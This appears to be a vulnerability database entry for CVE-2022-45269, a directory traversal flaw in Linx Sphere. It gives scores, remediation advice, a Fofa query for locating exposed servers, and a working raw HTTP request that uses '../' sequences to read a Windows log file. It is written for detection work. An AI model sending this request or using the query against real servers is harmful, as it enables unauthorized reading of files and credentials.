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CVE-2022-45269: Linx Sphere - Directory Traversal

TitleLinx Sphere - Directory Traversal
Authorrobotshell
SeverityHigh
ImpactUnauthenticated attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files, credentials, and application source code.
RemediationUpdate Linx Sphere to a version newer than 7.35.ST15 that properly validates file paths and prevents directory traversal attacks.
CVSS Score7.5
EPSS Score0.27373
CVE IDCVE-2022-45269
CWE IDCWE-22
Fofa QuerySCS.Web.Server.SPI/1.0
Tags cve cve2022 linx lfi scs vuln

🔍 Vulnerability Description

A directory traversal vulnerability in the component SCS.Web.Server.SPI/1.0 of Linx Sphere LINX 7.35.ST15 allows attackers to read arbitrary files.

🌐 HTTP Request

GET /../../../../../../../../../../../../windows/iis.log HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.16 (KHTML, like Gecko) Version/8.0 Safari/537.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45269.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45269.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A